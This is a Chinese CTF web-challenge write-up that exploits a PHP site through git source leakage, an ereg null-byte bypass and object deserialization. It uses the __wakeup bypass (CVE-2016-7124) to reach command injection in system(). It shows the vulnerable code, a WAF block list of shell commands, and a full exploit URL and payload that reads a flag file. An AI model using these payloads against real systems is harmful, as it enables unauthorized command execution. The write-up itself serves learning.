周末偶然看到学弟们在群里发的一道web题目,心血来潮决定做做,还是学到点东西,做个记录,题目地址。
0x01Git源代码泄露
该站点存在git源代码泄露,通过githack直接跑出代码文件。关注点有三个文件,一个是index2.php,一个是class.php,一个是waf.php,贴下关键代码。
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54<?php
error_reporting(0);
include 'class.php';
include 'waf.php';
if(@$_GET['file']){
$file = $_GET['file'];
waf($file);
}else{
$file = "Welcome";
}
if($_GET['id'] === '1'){
include 'welcome/nothing.php';
die();
}
$secret = $_GET['secret'];
$ad = $_GET['ad'];
if(isset($ad)){
if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
{
echo '';
}
elseif(strpos($ad, '--') !== FALSE)
{
echo "Ok Evrything will be fine!
";
if (stripos($secret, './') > 0) {
die();
}
unserialize($secret);
}
else
{
echo '';
}
}
?>
if($file == "Welcome"){
require_once 'welcome/welcome.php';
}else{
if(!file_exists("./import/$file.php")){
die("The file does not exit !");
}elseif(!system("php ./import/$file.php")){
die('Something was wrong ! But it is ok! ignore it :)');
}
}
?>
class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33<?php
error_reporting(0);
class Record{
public $file="Welcome";
public function __construct($file)
{
$this->file = $file;
}
public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}
public function __wakeup()
{
$this->file = 'wakeup.txt';
}
public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}else{
echo "<?php Something destroyed ?>";
}
}
}
waf.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<?php
error_reporting(0);
function waf($values){
//$black = [];
$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','cat','head','tail','more','tac','rm','ls','tailf',' ','%','%0a','%0d','%00','ls','echo','ps','>','
foreach ($black as $key => $value) {
if(stripos($values,$value)){
die("Attack!");
}
if (!ctype_alnum($values)) {
die("Attack!");
}
}
}
?>
0x02考点分析
这题的考点有几个,首先ereg正则的情况下,可以同通过%00进行截断绕过。如果要进入下一个循环,ad必须包含–字符,因此这里可以构造ad=123%00–,然后我们就看到最后这个循环里会对secret参数进行反序列化操作。在进行反序列化之前,进行了判断,不允许$secret中出现./。
0x03PHP反序列化
这里就先不对PHP反序列化进行详细介绍,后续会针对PHP反序列化问题进行详细说明。跟进反序列化,我们在class.php中看到了,序列化的操作。
在__destruct阶段里执行了system操作,这的system操作存在命令注入的问题,但是在这步操作之前需要做个校验,查看file是否为wakeup.txt,sleep.txt,welcome中的一个,但是在反序化的时候,__wakeup方法会将file赋值为wakeup.txt。
这时候关注到一个洞:__wakeup()函数失效引发漏洞(CVE-2016-7124)
__wakeup()函数失效引发漏洞(CVE-2016-7124)
先看一段小代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29<?php
error_reporting(0);
class Record{
public $file="Welcome";
public function __wakeup()
{
$this->file = 'wakeup.txt';
}
public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}else{
echo "<?php Something destroyed ?>";
}
}
}
/*
$b =new Record();
echo serialize($b);
file_put_contents('1.txt', serialize($b));
*/
$c = unserialize(file_get_contents('1.txt'));
var_dump($c);
?>
生成的序列化字符串为O:6:”Record”:1:{s:4:”file”;s:4:”test”;}。将其重新反序列化后的结果为。
漏洞原理
而该漏洞的描述是:__wakeup触发于unserilize()调用之前,当我们反序列化一个对象时,如果它的属性发生了变化,就会导致wakeup函数中的return 0不会执行,那么如果__wakeup()中存在一些重要的语句,就会导致不会被执行。
漏洞影响版本
PHP5 < 5.6.25
PHP7 < 7.0.10
将Record:后的1改成2,重新反序列化一下,结果已经绕过这个if判断。
0x04命令注入
很简单,构造一下payload为O:6:"Record":2:{s:4:"file";s:29:"Flag.php;cat import/Flag.php;";}。
最后:http://47.104.99.231:20003/index2.php?secret=O:6:%22Record%22:2:{s:4:%22file%22;s:29:%22
Flag.php;cat%20import/Flag.php;%22;}&ad=1%00--&file=Welcome。
0x05参考文章